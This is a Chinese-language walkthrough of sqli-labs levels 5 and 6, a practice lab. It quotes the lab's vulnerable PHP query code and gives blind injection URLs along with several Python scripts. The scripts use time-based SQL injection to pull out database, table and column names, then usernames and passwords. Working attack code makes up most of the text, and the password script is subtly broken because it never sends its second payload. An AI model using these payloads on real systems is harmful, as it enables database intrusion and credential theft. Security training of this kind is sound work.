sqli-lab5和6关详解-CFANZ编程社区

LESS-5 不用注释的查询

注：这节的跟第一关是一样的，输入?id=1，但是返回结果只有：you are in … 正确的思路是盲注。
查看源代码不会返回数据库当中的信息了，所以我们不能利用less1-4 的方法

$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//此处省略部分代码
if($row)
    {
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';

输入?id=1’and left(version(),1)=5–+，这里的–+是 - +，因为CSDN显示问题。
上面sql语句的意思是查看一下数据库的版本，看版本号的第一位是不是 5，明显的返回的结果是正确的。我的数据库版本号为 5.6.26
在这里插入图片描述
当版本号不正确的时候，则不能正确显示 you are in…
接下来看一下数据库的长度
?id=1’and length(database())=X–+
X的值为8时，返回正确结果，说明长度为 8。
猜测数据库第一位
?id=1’and left(database(),1)>‘m’–+
根据折半查找，我们知道数据库的首字母为s，这里的工作量太大，我写了一个python脚本完成，用的时间盲注原理

import requests
import time

url="http://127.0.0.1/sqli/Less-5/?id=1"
database = 'select schema_name from information_schema.schemata'
result=""

for i in range(1,100):
    for j in range(1,200):
        payload="'and if(ascii(substr(({} limit 4,1),{},1))={},sleep(2),1)--+".format(database,i,j)
        stime = time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime >= 2:
            result += chr(j)
            print(result)
            break

成果获取数据库的名字security，也可以获取其他数据库名字，具体改limit的值。
可获取的数据库是information_schema，challenges，mysql，performance_schema，security，sys
在这里插入图片描述
根据一开始获得的数据库首字母为s，那么当前数据库为security，那么表的名字也可以获取

import requests
import time

url="http://127.0.0.1/sqli/Less-5/?id=1"
table='select table_name from information_schema.tables where table_schema=database() '
result=""

for i in range(1,100):
    for j in range(1,200):
        payload="'and if(ascii(substr(({} limit 3,1),{},1))={},sleep(2),1)--+".format(table,i,j)
        stime = time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime >= 2:
            result += chr(j)
            print(result)
            break

可以获得到email，refers，uagent，users四个表，也可以用下面的句子慢慢测试，当然还是代码块
?id=1 'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0
0,1),1,1))>101–+

列自然也是相同的方法

import requests
import time

url="http://127.0.0.1/sqli/Less-5/?id=1"
column='select column_name from information_schema.columns where table_name="users"'
result=""

for i in range(1,100):
    for j in range(1,200):
        payload="'and if(ascii(substr(({} limit 3,1),{},1))={},sleep(2),1)--+".format(column,i,j)
        stime = time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime >= 2:
            result += chr(j)
            print(result)
            break

可以查到的列为USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS，id，username，password

查id为1的数据

import requests
import time

url="http://127.0.0.1/sqli/Less-5/?id=1"
data="select username from security.users where id=1 "
data2="select password from security.users where id=1 "
result=""
result2=""

for i in range(1,100):
    for j in range(1,200):
        payload="'and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+".format(data,i,j)
        payload2 = "'and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+".format(data2, i, j)
        stime = time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime >= 2:
            result += chr(j)
            result2 += chr(j)
            print(result)
            print(result2)
            break

通过改id我们可以查到所有数据
完成

LESS-6 双注入- 双引号-字符型

Less6 与 less5 的区别在于 less6 在 id 参数传到服务器时，对 id 参数进行了处理。这里可以从
源代码中可以看到。只需要将 ‘ 替换成 “ 。

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

还是利用上面的代码，稍微在sql注入语句改个符号

import requests
import time

url="http://127.0.0.1/sqli/Less-6/?id=1"
database = 'select schema_name from information_schema.schemata'
result=""

for i in range(1,100):
    for j in range(1,200):
        payload='"and if(ascii(substr(({} limit 4,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
        stime = time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime >= 2:
            result += chr(j)
            print(result)
            break

具体步骤和less5差不多